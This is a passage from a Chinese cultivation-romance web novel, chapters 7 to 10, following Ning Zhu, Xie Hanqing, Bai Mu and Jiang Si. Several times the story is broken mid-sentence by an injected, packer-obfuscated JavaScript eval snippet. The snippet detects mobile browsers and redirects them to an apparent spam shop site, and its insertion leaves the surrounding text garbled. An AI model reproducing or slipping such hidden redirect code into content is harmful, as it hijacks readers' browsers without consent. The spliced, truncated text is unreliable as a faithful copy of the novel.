少年的眼瞳变得越来越红,红得发乌,红得像是要滴出血来。 “咔哒。” 鸟喙棘皮兽的脖颈被人生生折断了脖颈。 江似滚落在地,胸膛起伏,他抬起袖子,随意抹去唇角的血。 手中鸟喙棘皮兽死状可怖,江似混不在意将妖兽丢到乾坤袋中,漫不经心想,可惜了那只爆体的。 一宿没睡,宁竹身心俱疲。 她回到小屋后洗了个热水澡,又把方才江似睡过的被褥全部扔掉,换上了一床干干净净香香软软的被子,跳上床去睡了个昏天黑地。 或许是睡前联想到了一些不好的事情,宁竹睡得并不安稳。 她梦见天玑山打杀一片,她躲在自己的小屋中,瑟瑟发抖。 魔修边杀人边大笑,弟子们的尸体被高高抛起,撞在她的小屋上,发出砰砰的声响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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睡一觉,睡一觉就好了。 他这样的人,根本死不了。 冷汗大颗大颗渗出,江似的身子微微蜷紧,唇色惨白一片。 某种强大的力量在修复他残破的身体,但却被另一股力量牵制,两相争夺,在他体内交锋。 江似眼神失焦,茫然地盯着丑陋的岩洞顶。 分明在洞府中独自熬过无数次,偏偏这一次,无比难熬。 身下床榻坚硬如铁,洞府里更是湿冷一片。 意识恍惚之际,江似忽然想起了宁竹的小屋,那里一直是这么温暖么? 他分了一点神,丢出一堆火灵石。 热意源源不断散发,映亮森冷的洞府。 江似蜷缩的手脚稍稍舒展……整个人似乎好了一点。 7. 第 7 章 宁竹手脚很快,临近傍晚的时候便将鸟喙棘皮兽处理得干干净净。 她有一只专门用来存放妖兽的乾坤袋,宁竹往里一扔,开开心心去了珠玑阁。 鸽子吴已经下值了,此时当值的是一个瘦得像干尸的老头,弟子们私下都叫他郑老头。 郑老头苦修多年都卡在筑基期,脾气很臭,为人苛刻,好在评估妖兽价值还算公道,虽然会阴阳怪气几句。 但今天郑老头却跟换了一个人似的,整个人带着恭维的笑容,客客气气跟几个年轻的修士介绍着什么。 宁竹的脚步慢下来,看向为首的女修。 细眉细眼,英姿飒爽,整个人不苟言笑。 是清虚真人的二弟子,谢寒卿的师姐白暮!宁竹见过她! 白家有意让他们二人结为道侣,可惜了谢寒卿就是块冰山,对白暮一直很冷淡。 说起书中的各路女配,宁竹最有好感的便是这位白师姐。 姜汐年总是哭哭啼啼,没少推锅给别人背,用现在的话来说就是朵白莲花。 白暮则完全是两个极端,冰山御姐,天才少女,战力十足。 可惜她死得极为惨烈,魔修血洗天玑山之时,为给其他弟子争取一线生机,她不惜以血祭阵,生生耗干一身精血,又自爆灵丹,与魔修同归于尽。 这是个值得敬佩的人。 宁竹在门口站了许久,才上前道:“郑师叔,我来送妖兽。” 白暮原本在看一件防御法器,听到声音,忽然回头看来。 不知是不是错觉,宁竹注意到她停留在自己身上的目光很是冰冷。 宁竹恭敬地唤了一声:“师姐。” 旁边两个弟子看宁竹一眼,其中一个少年笑嘻嘻说:“师姐,你认识这位小师妹?” 白暮淡淡扫她一眼。 前几日她回洞府,正好看见寒卿从外门弟子居住的地方离开,她生出几分好奇,飞过去看了一眼。 正好看见这少女拿着寒卿的乾坤袋。 寒卿怎么会同外门弟子有交集? 白暮没回答,挪开视线。 旁边的女修笑出声来,齐玉明真蠢,看她穿的是外门弟子服,白师姐怎么可能会认识一个外门弟子。 宁竹自讨了个没趣,也不尴尬,大大方方将鸟喙棘皮兽掏出来:“郑师叔,您看看能兑换多少灵石?” 几人的目光都定在了鸟喙棘皮兽上。 高阶妖兽不易得是其一,其二嘛……这鸟喙棘皮兽被人扒了羽毛,连又尖又利的指甲都没放过,一整只妖兽光秃秃的,丑极了。 谭芸露出嫌弃的表情,她问:“你这妖兽怎么那么丑?” 宁竹嘿嘿一笑,含糊道:“处理了一下。” 谭芸便明白了。 完整妖兽价值虽然会高些,但自己将羽毛兽皮处理好拿来兑换又能多赚些。 谭芸和齐玉明都是闻道真人的弟子,出身富贵,自是看不上这些边角料。 但她和白暮走得近,瞧出来白暮不大喜欢这套近乎的外门弟子。 于是谭芸上前一步,看了看鸟喙棘皮兽,对郑老头说:“郑师叔,这妖兽被拔得好干净,恐怕要按常规价值的七成来估算。” 这几人都是郑老头得罪不起的,他赔笑道:“谭仙子说得是。” 他斜着眼看宁竹一眼:“把妖兽放到台面上来。” 郑老头仔细检查了一遍,道:“给你两万灵石。” 宁竹蹙眉:“郑师叔,这是高阶妖兽,上次我拿来那只中阶妖兽都给了一万灵石……” 宁老头用力敲着桌板:“要不要兑换?” 宁竹死死抿着唇:“郑师叔,这只鸟喙棘皮兽很完整,只是被处理了羽毛和指甲,按照市价至少可以拿到四到五万灵石。” 宁老头鼻腔里重重哼了一声,正要开口,宁竹忽然把鸟喙棘皮兽收起来,她板着脸:“抱歉郑师叔,我不换了。” 她转身就要走,门口忽然传来一道清冷的声音:“珠玑阁一向以公平著称,何时竟敢在私下里欺压弟子?” 白暮脸色一白,先一步道:“寒卿,你怎么来了?” 长身鹤立的小仙君眉眼冷淡,如同霜笼寒山,月映积雪。 郑老头一看是谢寒卿,腿先软了三分,忙道:“谢仙君,我再仔细看看……” 谭芸心底暗自呸了一声,骂他是个软骨头,嘴上却说:“师妹原来是谢师兄认识呀,都是自己人,不早说一声……” 谢寒卿的目光落在宁竹身上。 她抓着那只丑陋的妖兽,一张小脸板得死死的,但面色很平静,没有委屈,也没有难堪。 谢寒卿上前道:“我刚好缺几根妖骨,宁师妹不若直接卖给我。” 少女眼睫扑簌,忽然抬起眼。 谢寒卿与她目光相撞。 宁竹余光瞥见他身后白暮的脸色,打了个颤。 她算是知道这位冰山御姐为什么不喜欢她了。 若要人不知,除非己莫为,说不定这白师姐不小心撞见过她和谢寒卿私下里见面。 宁竹有点郁闷,怎么在大男主修仙文也搞雌竞这一套。 她只是个炮灰,不应该介入男主和他后宫之间的争端中。 于是宁竹眼神诚恳:“谢过谢师兄,不过这只妖兽,我另有用途。” 她行了一礼,扭头离开。 白暮脸色难看得厉害,她嘴唇蠕动:“寒卿……” 谢寒卿淡淡道:“二师姐,师尊昨日让我们今日得空去含云顶一趟。” 白暮眼眸一亮,便听谢寒卿说:“我还有事,就不与师姐一道了。” 他上前把一张玉牒递给郑老头:“我今日前来,是奉师尊命令来挂任务的。” 弟子们领取任务也是在珠玑阁,不知是什么任务,竟要谢寒卿亲自跑一趟,郑老头正了脸色:“谢仙君还请这边来。” 谢寒卿跟着郑老头进了内室,白暮在原地怔忡。 两人对视一眼,忙说:“珠玑阁的东西反反复复就是那些,我们改日陪师姐去逛千机阁?” 内室中悬浮着一面巨大的光墙,上面悬挂着密密麻麻的玉牒。 玉牒颜色各异,有的发着金光,有的发着红光。 金光颜色深浅不一,颜色越深便说明任务难度越大,奖励也越多,金光都是未被领取的任务。 红光则说明任务正在执行中。 玉牒上方浮动着领取任务的弟子信息,执行时间等等,若是领取任务的弟子发生了危险,玉牒会发出示警,好让宗门派人去救。 谢寒卿亲自为玉牒布上阵法,对郑老头说:“炎陵庄的任务,只允许金丹及以上弟子领取,任务程度为紧急。” 郑老头皱了下眉:“炎陵庄?我记得这个任务上个月便有人完成了。” 他指着另一面白色的光墙,上面都是已经做完的任务。 谢寒卿:“又出现了一只大妖。” 郑老头十分稀奇:“上次那只鬼面妖被诛杀后,短期内应当没有妖魔再敢靠近。” 谢寒卿的眉头也微微拧起:“师尊怀疑有什么东西在吸引这些大妖,这趟任务,我会亲自带队前去。” “还望郑师叔遵守珠玑阁的规矩,莫要因为旁人施压,便放不合条件的弟子领取任务。” 郑老头有些尴尬,忙不迭点头,指尖一点,将玉牒系上光墙。 谢寒卿的目光落到那面白色的光墙上,他不自觉地分出一缕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢寒卿忽然开口打断她:“不要便扔了。” 宁竹僵住。 他身后有人御剑飞来。 宁竹看清那人后,后背都在发寒,她忙道:“那我就不客气了,谢师兄,我先走啦!” 经验告诉她,不要和主角团走得太近,不然领盒饭都要比其他人快一点。 拿了这批东西,两人之间一笔勾销,再不见面是最好的! 宁竹一溜烟跑了。 谢寒卿盯着她的背影。 少女身形纤细,那天晚上……究竟是怎么把他一路背回去的? 白暮飞了过来。 她笑得很勉强:“这位师妹是谁,寒卿似乎与她十分相熟。” 谢寒卿收回视线,再不往那边多看一眼:“萍水相逢之人罢了,谈不上相熟。” 白暮脸色稍稍缓和了些,她柔声说:“我们一起去见师尊?” 谢寒卿注意到她簪发的凤和白玉。 顶级防御法器,价值千万,这样的簪子,白家也送了他一根。 并非自愿收下。 为了家族的利益权衡,他并未当面推拒。 这一举动,仿佛给了白家一个信号。 ……让他厌烦。 白暮还在期待地看着他。 男女情爱,是天底下顶顶无聊之事。 女子,对他而言远不如法器秘籍有趣。 只是为什么,眼前又出现了那夜饕风虐雪,少女背着他行走在山道上的画面? 少女因为力竭而发出的气音,与冷雪缠绕,在他耳边轻轻回响。 谢寒卿眼眸微微转动:“二师姐先去吧。” 他说。 8. 第 8 章 宁竹一口气飞回了自己的小屋里。 灵炉上温着一壶甜甜的蜂蜜莓浆子茶,宁竹给自己倒了一大杯,咕咚咕咚喝掉。 梅浆子有点像草莓加蓝莓的味道,酸酸甜甜很是好喝,还有驱寒的作用,宁竹冬天很喜欢喝。 一杯热茶下肚,宁竹长长叹了一口气,终于觉得整个人都活了过来。 不知道,感觉有点怪怪的。 按照原书剧情,谢寒卿根本不会跟自己这种炮灰有任何交集。 可是绞尽脑汁回想,书里也没写过有谁在魍魔谷捡了男主啊。 所以得出结论,只是巧合,她可没抢了哪位重要角色的戏份。 不该出现的剧情就不要出现。 嗯,宁竹决定将远离主角团,避免蝴蝶效应的路线方针贯彻到底。 可惜了今天白跑一趟,浪费时间! 宁竹对白暮的好感度下降了不少,下次见面她才不要喊她师姐了。 生闷气也不耽搁宁竹做事,她气鼓鼓地拿出鸽子吴给她的匣子,开始思考做个什么样子的剑穗。 这一做便做到了深夜。 一抬头,外面弦月如弯刀高悬,已然到了该睡觉的时候了。 宁竹用灵力给自己烧了点热水,往水里加上自己春天时晒干的紫鸢花,脱掉弟子常服,舒舒服服躺进热水中开始泡澡。 原本是一个净身诀就可以解决的事情,宁竹偏偏要和凡人一样,亲力亲为。 麻烦是麻烦了点,但宁竹喜欢这样,有种踏踏实实活着的感觉。 热气缥缈,打着旋从缝隙中散到屋外的冷风里,很快消失不见。 周遭陷在沉沉黑暗中,唯有宁竹的小屋散发着温暖的光。 月色清晖洒在一人衣角上。 他踏着积雪,立在芭蕉树下,淡漠的双眸注视着那间破破烂烂的小屋。 她出去买药的时候,他曾中途转醒过一次。 窗外飘着雪,屋子里却暖意融融。 身上盖的被子是粗糙的棉布缝制而成,但却填了厚实柔软的棉花,带着晴天阳光下暴晒后的味道。 体内剑骨已经沉寂下来,那些被拉扯分裂的经脉正在自动修复,待到天亮,他又是那个剑心通明,战无不胜的谢仙君。 只是现在,他仍然昏昏沉沉。 谢寒卿躺在榻上,打量着这间小屋。 破破烂烂的二手防御法器,低阶妖兽羽毛编成的防御甲,甚至连他方才睡的那张榻,都像是自己找了一截老树根,用灵力一点点削成。 穷。 这是他对屋子主人的第一印象。 但他的目光又扫过梅瓶中被法术凝固在盛放状态的野花,壁橱上那些形状各异,漂亮精美的碗碟。 最上层还放着一瓶瓶五颜六色的罐子,他仔细辨认了下,看到了路边随处会长的金莲果,被捣成酱泥的琼浆果……还有许许多多他叫不上来名字的植物。 谢寒卿感到新奇。 除了食修,很少有修士喜欢鼓捣吃食。 可惜他已辟谷多年,再无口腹之欲。 谢寒卿随即看见了枕边放着的纸条。 字迹很仓促,歪歪扭扭,简直是不堪入目。 “我去买归息丹,你若醒了先等一下,很快回来。” 归息丹? 谢寒卿的目光落在桌案开裂的一角。 归息丹昂贵,应当不是此间主人能负担的。 为何会愿意倾尽所有,救下一个只有一面之缘的人? 朔风拂面,谢寒卿抬起眼。 屋内响起淅沥水声,混着水汽的馨香如同幽幽绽开的花,传过暗夜风雪,缭绕在谢寒卿鼻尖。 他的身形微微绷直。 小屋里灯光很快熄灭。 天地静谧,冷月如霜。 屋子里传来绵长的呼吸声。 一道孤寂悠长的影,踏着薄雪,靠近了小屋。 屋外布了结界,谢寒卿抬手一挥,如入无人之境靠近了小屋。 门吱呀一声打开。 月色争先恐后涌进来,流光婉转,缠绕着谢寒卿的袍角。 床榻之上的少女睡得正熟。 她缩在暖和的被子里,只露出一张娇小雪白的脸。 鼻尖挺翘,纤长的睫毛投下一片小小的弧度。 谢寒卿的影覆在她身上,光影分割,有种危险的美感。 那道纤薄的影忽然动了。 小仙君抬起衣袖,冷白如玉的指点在宁竹眉心处。 他在外面站了太久,指尖寒凉如雪,叫宁竹微微蹙了下眉。 但很快,宁竹的眉头便放松下来,睡得更沉了。 谢寒卿的瞳孔变得一片空洞。 天玄离尘带也安静垂在墨发间,凝固不动。 周围一切都在飞旋,倒退。 谢寒卿不住往下坠。 白雨跳珠,打在伞面上,噼啪作响。 “小师弟,我出关啦!” 他嗅到一股清甜馥郁的香,像是某种浆果炸开,带着湿润的水汽。 谢寒卿微微扬起手中雨伞,对上一双弯弯的笑眼。 这是白暮出关那一天。 牵魂术,可将记忆中的某个人替换为另一个人。 被牵魂之人会根据他的记忆轨迹,做出真实的反应。 眼前个头娇小了许多的“二师姐”上前一步,宁竹抬起手,比了比自己和他的个头:“我入关三载,你都已经长那么高啦。” 宁竹笑盈盈对他说:“可辟谷了?” 十五岁的谢寒卿点了下头。 宁竹露出遗憾的表情:“正是长身体的时候呢,怎么就辟谷了,那些灵丹灵药啊是可以塑体,但五谷杂粮也有好处。” “小师弟还没尝过我的手艺,今天师姐给你做顿饭吧!” 天旋地转,场景再度变幻。 他站在白暮的忘尘峰,面前便是她那座精致,冰冷,终年覆雪的渡忧仙居。 他听到屋子里传来絮絮人声:“……大小姐,这凤和白玉簪出自昆仑山,世间唯有这两根,家主将这对簪子送过来,意思已经很明显了,您到底在犹豫什么……” “二师姐”开口了,声音是宁竹。 “爹成天乱点什么鸳鸯谱,小师弟今年才十六岁,哪知道什么情情爱爱的,这簪子是一对,我当然不能给他。” “可是大小姐不喜欢谢仙君吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888535|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默片刻,宁竹话里带笑:“那样光风霁月的小仙君,谁能不喜欢,不过比起我喜不喜欢,更重要的是他喜不喜欢,勉强来的感情不会长久。” “大小姐!你们两人家世相匹,天造地设……” 宁竹很疑惑:“所以呢?这样就一定要在一起吗?” “喜欢一个人,跟他的家世背景又有什么关系?” 梦中的谢寒卿倏然抬眸。 他不知不觉靠近了窗边。 谢寒卿一怔,屋里大变了模样,不是记忆中一尘不染,冰冷精致的模样。 屋子里挂着漂亮的帐幔,闪闪发光的晶石珠帘叮叮当当晃荡,宁竹披着雪白的狐裘,围在小火炉边煨着红薯。 她抬头,朝他招手:“小师弟你来啦!这红薯可甜可甜了,快来尝尝!” 画面再度变幻。 阴暗潮湿的岩洞中,“二师姐”守着他哭哭啼啼。 这是十七岁时,他跟随师门下山斩杀九幽烛龙那一次。 他中了九幽烛龙的阴毒,和白暮被困在岩洞中。 九幽烛龙性淫,阴毒亦然,他闭目打坐,运转全身灵力压制阴毒。 阴毒如火,寸寸舔舐他的血脉,豆大的汗珠从额角滚落,他声音嘶哑道:“劳烦二师姐用缚仙索将我困住,把我丢进九幽烛龙所居的寒潭中,一个时辰后,阴毒可解。” 阴毒有两种解法。 当时白暮不愿:“寒潭水亦有寒毒,浸泡一个时辰会致寒毒入体,于身体有损,寒卿,阴毒还有另一种解法的……” 平日里高冷严肃的白暮露出些小女儿家的姿态,颤抖着靠近他:“寒卿,合欢可解……让我帮你。” 缚仙索凭空出现,谢寒卿费劲将自己捆住,眼神淡漠:“这是道侣之间做的事。” 白暮的脸色变得惨白。 她终究还是南陵白氏的大小姐,被拒绝后哪还能恬不知耻,于是只能帮他入了寒潭。 而眼前之人变成了宁竹,她哭得眼睛通红:“小师弟,怎么办!这毒要合欢才能解,我找谁来帮你啊!” 谢寒卿沉默片刻,提醒她:“寒潭水可解,把我扔到寒潭。” 她瞪大眼睛:“以毒攻毒?寒毒比阴毒还厉害,会把你泡坏的……” 她忽然想到什么:“等等!我知道了!” 片刻后,她把他带到寒潭边,不知为什么会从乾坤袋里摸出一只小瓢,浇菜一般往他身上浇水。 谢寒卿被泼得很狼狈。 宁竹蹲在他面前,眨巴着眼:“有用吗?” 水珠顺着他黢黑的眼睫抖落。 谢寒卿缓缓掀起眼帘,清冷双瞳看着她:“有用。” 可他脸色变得一片青白,想必很冷。 宁竹一边给他浇水,一边絮絮叨叨安慰他,哄着他,一会儿说回去给他熬汤祛寒,一会儿说准备了厚衣服,解了毒就给他穿上…… 谢寒卿忽然捉住宁竹的手腕。 少女手腕小巧,温热柔软,谢寒卿圈掌便能将她笼在手心。 两人俱都一僵。 已经被压制下去的阴毒又有席卷而来的迹象,谢寒卿腹中燥热,喉结微滚:“宁竹,你太吵了。” 9. 第 9 章 一切飞速倒退。 谢寒卿倏然睁开眼。 床榻之上的少女发出一声不适的嘤咛,仿佛就要醒来。 谢寒卿迅速抬手捏诀,宁竹眉头松开,沉沉睡去。 白衣之下,心跳如擂。 谢寒卿凝视着安然入睡的少女。 这几日频频出现在梦境中的画面变得清晰。 雪意冷冽,他手背上似乎有滚烫的液体落下。 少女带着泣音说:“……你别死啊,我很害怕。” 怕就扔掉他。 为何还要救他? 那个时候,他不是天玑山首徒,不是两大世家之后。 只是一个麻烦。 现在他明白了。 因为她本就是这样的人。 不会像白晚,在出关之时发现自己的修为已经快要赶上她,所以眸中露出慌乱和不甘。 也不会像她,与白家人图谋该如何将簪子送到他手中,好向世人“昭示”他们的关系。 更不会在那样的境地,刻意等待他身上的阴毒深入骨髓,才提出那样的“解决方式”。 她与所有人都不一样。 他来时并未掩上门,风雪撞击门扉,发出细微的响。 谢寒卿难得分神,竟未注意到沉沉暗夜中的另一个人。 那人身形隐在岩石之后,几乎与夜色融为一体。 黝黑的眸折射着积雪的光,阴郁执拗,仿佛燃着一把沉沉的火。 屋子内,谢寒卿抬手,指尖轻轻碰了一下宁竹的发。 ……好像没有特别的感觉。 谢寒卿稍稍偏头,又用手背试探着贴了一下她的脸。 少女脸颊柔软,温热,几乎能感觉到细小的绒毛。 正是方才牵魂时岩洞中的触感。 手背有些酥麻之感,喉头亦微微发干。 谢寒卿的目光往下滑,落到那微张的檀口之上。 殷红,柔软,隐隐泛着水光。 像是被烫到一般,谢寒卿猛然收回手。 那双淡漠的瞳孔颜色微深。 少年仙君沉沉盯了她一会儿,无声离去。 风雪不休,门环轻轻晃动。 岩石之后,江似慢慢放开刻意收敛的神识。 手中提着的那只高阶妖兽,不知何时被攥得血肉模糊。 小屋前的雪地上留下了几行浅浅的足印。 高高在上的小仙君或许觉得根本不会有人这个时候前来,连痕迹都不打算抹去。 江似扯动唇角,露出一个极尽嘲讽的笑。 他还是这么……狂妄。 妖兽骨硬,碎骨几乎扎入江似的掌心。 他却丝毫不觉得痛一般。 若论痛,如何比得过锁魂钉入骨之痛?如何比得过身体被撕裂成碎片,又一点点愈合的再生之痛? 江似胸膛起伏,掌中妖兽再度爆开,如血梅落下,雪地上洇开一片诡异的红。 雪地上滴滴答答蜿蜒着一道血色,屋门被人推开,江似立在床榻前,意味不明看着宁竹。 她怎么会认识谢寒卿? 谢寒卿又为何会深夜来访? 江似眼神阴冷,像是一条吐信的蛇,仿佛下一秒就要扑上去,咬断宁竹的喉咙。 他抬手触碰宁竹的眉心,直直撞入她的神识。 然而下一刻,一道诡异的力量将他狠狠反弹出来。 江似后脑一痛,咳出一口乌黑的血来。 江似抬起手背,随意抹掉唇边的血,饶有兴味盯着宁竹看。 有意思,一个筑基期弟子,竟能抵挡搜神术? 江似倒也并不在意,修真界机缘万千,宁竹能抵挡旁人动用搜神术,并不稀奇。 旁人看不见她的记忆,不失为一件好事。 比起这个,江似发现了一件更有意思的事。 谢寒卿,竟对她动用了牵魂术。 修真界禁法万千,最惹人忌惮的便是搜神和牵魂两术。 前者能叫人秘密全无,后者能使人魂魄离体,形同傀儡。 谢寒卿这样的正道魁首,世家仙君,竟会在暗中修习禁术? 夜色沉沉,江似黝黑的眼眸中闪动着兴奋的光。 秘密,有时候是会杀人的。 第二日是个艳阳天。 雪色洁白,天际澄蓝,空气中都是风雪清冽的气息。 宁竹捂着脑袋起身时,已是日上三竿。 她一看时间,大叫一声翻下榻来,匆匆忙忙洗漱,又糊弄了两口早饭,开始坐在桌案前编织剑穗。 浪费了一早上!一早上时间,都够她编出半条剑穗了。 都怪昨晚做那个怪梦。 梦里她好像成了哪个门派的二师姐,有一个小师弟。 很多细节她记不清,小师弟的脸也记不清。 总归是个奇奇怪怪的梦。 宁竹甩了甩脑袋,将繁杂的思绪甩出去,专心搭配起剑穗的颜色来。 忘尘峰。 白暮匆匆忙忙出来,步伐都有些乱,脸上却带着笑:“寒卿!你怎么来了!” 谢寒卿立在崖边,足下云色翻卷,神姿高彻,若披烟霞。 白暮痴痴看了他一会儿,又唤了一声:“寒卿?” 谢寒卿回身来。 白暮素来严肃沉静的脸浮着一层薄红,她期待地看着谢寒卿。 谢寒卿抬起手,一只精美的匣子出现在他掌心。 “二师姐,我今日来,是归还此物。” 白暮的表情变得一片空白。 谢寒卿垂下眼:“凤和白玉名贵无双,谢某愧不敢受。” “今日前来,特将此物归还二师姐,希望二师姐尽早找到相伴一生的道侣。” 白暮的唇色变得惨白。 谢寒卿竟将话说得这般直白! 谢寒卿不想多留,将匣子递到白暮面前。 白暮整个人僵硬着接过匣子,忽然说:“……可是你当时留下了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888536|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小仙君淡漠的眼眸扫了她一眼。 这一眼,什么情绪都没有,却叫白暮羞愧交加,不敢再看他。 她日常行事,敢说一句光明磊落,偏偏到了谢寒卿这里,却是一再羞愧难当。 这簪子的确是她动了点儿手脚,才叫他留下的。 第一次她将簪子给谢寒卿时,他拒绝了。 后来她央求爹爹,在家宴上,爹爹再度将这根簪子拿了出来,当着众人的面送给他。 长者赐,不敢辞,更何况三大世家的人都在,若是谢寒卿拒绝,便是不给白家面子。 只是爹爹留了个心眼,只说此物出自昆仑山,乃是稀世珍宝,能温养灵根,滋补灵脉。 而谢寒卿也并未当众将匣子打开,故而众人并不知道这是一根簪子。 更不知道这簪子与白暮头上的是一对。 她当时还为此生了一场闷气。 爹爹却对她说:“谢寒卿此人,孤高自傲,性情冷淡,连他父亲都向来不喜,偏偏又是个稀世之才。” “成大道者,无不寡情寡欲,甚至绝情绝欲,除非他自己有意与你结成道侣,在此之前,我白家不会给人留下话柄。” “若是白家出了个倒贴的女儿,你叫我的脸往哪里放。” 她白暮亦是万众瞩目的剑道天才,从小出类拔萃,较之同龄人一骑绝尘,自是不服气她爹的话,当即道:“爹爹放心,我定会叫他风风光光来迎娶我。” 可惜她错了,感情不似剑法,不是付出便有收获的。 这几年,她靠得越近,便能感觉他离得越远。 白暮死死抓着剑匣,哑声说:“……是因为那个外门弟子吗?” 谢寒卿掀起眼帘。 白暮笑了下,他永远不会知道一个女人的直觉有多么可怕。 出乎意料的是,谢寒卿摇头:“与她无关。” 谢寒卿这样的人,不屑于说谎。 可这一刻,她却怀疑起他的话。 “寒卿,你看她的眼神,与其他人不一样。”白暮苦笑道。 谢寒卿面色坦然,他似乎偏头思索了一下,对她说:“二师姐与我之间,和她无关。” 白暮将他的话理解为一种警告。 抓住剑匣的手指青白一片,白暮笑起来:“师弟倒也不必这样看轻我。” 她向来不屑于姜汐年那种哭哭啼啼争夺宠爱的手段,她只是好奇,好奇那弟子到底有什么不同,叫他另眼相待。 可白暮有自己的傲气,她将匣子收入乾坤袋,一言不发离去。 只是转身之时,眼角还是狼狈掉下泪来。 崖上风大,卷得谢寒卿发冠上的天玄离尘带纷乱飞舞。 谢寒卿目送白暮离开,一颗心便如飘浮在空中的发带,起了波澜。 不一样么? 谢寒卿回想了一下昨夜的梦境。 他微微垂首,看向自己的手。 奇异的触感……好似仍残留在掌心。 10. 第 10 章 宁竹守在桌案前做了一天的剑穗,临近傍晚的时候,曲亦卓来了。 他丢给宁竹一只烧鸡:“今天食舍里只有二十只,我帮你抢到了一只,厉害吧!” 他这个样子,就很像高中那些臭屁的男同学。 宁竹接过烧鸡,天上有地下无地夸了他几句,曲亦卓嘴角高高翘起。 宁竹给他泡了一大杯积雪果牛乳饮,香甜又不失清爽,口感有点类似于奶茶,两个人坐在窗边吸着奶茶看外面飘雪的天,别提多惬意了。 不,惬意的只有宁竹一个人。 曲亦卓有些闷闷不乐:“你说我们什么时候能结丹啊?” 宁竹没忍住被奶茶呛了一口,咳嗽了半天,表情深沉地说:“先努力修炼到筑基二层?” 曲亦卓更郁闷了。 他说:“你不知道,珠玑阁刚刚颁布了一个新任务,光是灵石奖励便有十万之多!” “什么任务,给这么多奖励!”宁竹眼睛都瞪圆了。 曲亦卓看她一眼,继续道:“不止灵石奖励,还有灵丹法器呢。” 宁竹蠢蠢欲动,但马上被兜头冷水浇了个透。 “任务限定金丹期弟子才能接。”曲亦卓愤愤不平:“修为越高的弟子越好赚钱,我们这些底层弟子本来就穷,还接触不到这种高级任务,一点也不公平。” 宁竹心态倒是很平稳,人家都限定了要金丹弟子才能接,只能说明这任务难度很高,他们两个小趴菜,还是别去白白送死了。 有命赚钱也得有命花。 宁竹劝他:“高难度任务意味着高风险,我们还是接一些力所能及范围内的任务吧。” 曲亦卓看到她桌案上未编完的剑穗,闷声说:“都怪我们没有一个好出身。” 宁竹沉默了下。 出身好有什么用,多少出身尊贵的弟子都在魔修血洗天玑山那一日被砍瓜切菜般搞死了。 在死亡面前,人人平等。 曲亦卓也知道宁竹这个人向来随遇而安,自己跟她说这些又有什么用。 他叹了口气:“我回去修炼了。” 外面风雪茫茫,曲亦卓的身影很快消失不见。 宁竹安静地目送他离开。 比起能不能提升修为,将来能不能保住小命更重要。 可惜她没办法跟他说。 血洗天玑山是男主谢寒卿发生转变的一个关键节点,她不可能和这么重要的剧情违抗。 更何况魔修攻打天玑山的时间节点很模糊,她根本不知道是在什么时候。 总不可能因为这个就离开天玑山。 她穿进来得太晚了,来的时候已经是天玑山弟子了。 天玑山每一个弟子都被记录在册,主动叛离师门在修真界乃是大忌,会被天下人讨伐的。 除非宁竹愿意改头换面躲躲藏藏苟活。 但宁竹知道,将来魔域崛起,一个没有宗门且修为低下的散修,多半会被魔域抓起来转化为魔修。 杀人放火的事她不可能干,这辈子都不可能干! 还不如留在天玑山,利用好门派的资源,多攒点保命的装备。 只要血条够厚,就有机会活下来。 灵石!她需要更多的灵石! 宁竹化悲愤为斗志,坐在桌案前专心致志编了一天的剑穗,直到外面天色黯淡。 肚子咕咕叫起来,她停下发麻的手指,才意识到自己该吃饭了。 宁竹活动了下僵硬的脖颈,起身。 约摸是坐了太久,她眼前阵阵发黑,鼻腔发痒。 宁竹意识到不对劲,伸手一抹——满手的血。 偏在这个时候,窗外响起一声嗤笑。 宁竹捂着鼻子抬起头,一张苍白的脸就在窗外。 她被吓了一大跳,抬手捏诀之际,那人推开窗子,身轻如燕跳了进来。 是江似。 少年身量高她许多,压迫感十足挡在面前,叫宁竹不由紧张起来:“江似?你来干嘛?” 江似颇为嫌弃地朝她丢了两个法术,宁竹鼻血止住了,被染脏的面颊和衣裳也都变得干干净净。 他拍了拍肩头的雪花,语气嘲讽:“编个剑穗都能把自己弄得七窍流血,啧。” 宁竹反驳:“又不是寻常剑穗,这玩意儿需要注入灵力的!” 江似随手捻起一条剑穗,流苏如银瀑,缠在他苍白的指骨上,很是和谐。 江似:“还怪好看的,编那么多,送我一条?” 宁竹生怕他把剑穗搞坏了,一把抢过来:“这是我替珠玑阁编的,你要的话自己去珠玑阁买。” 江似随手捻起另一条艳如流火的剑穗,放在指尖把玩:“替珠玑阁办事能有多少灵石,我这有个赚钱的路子,要不要考虑?” 几番接触下来,宁竹发现他这个人当真是阴晴不定,喜怒无常,做事不按常理出牌。 她颇为戒备地说:“不想考虑。” 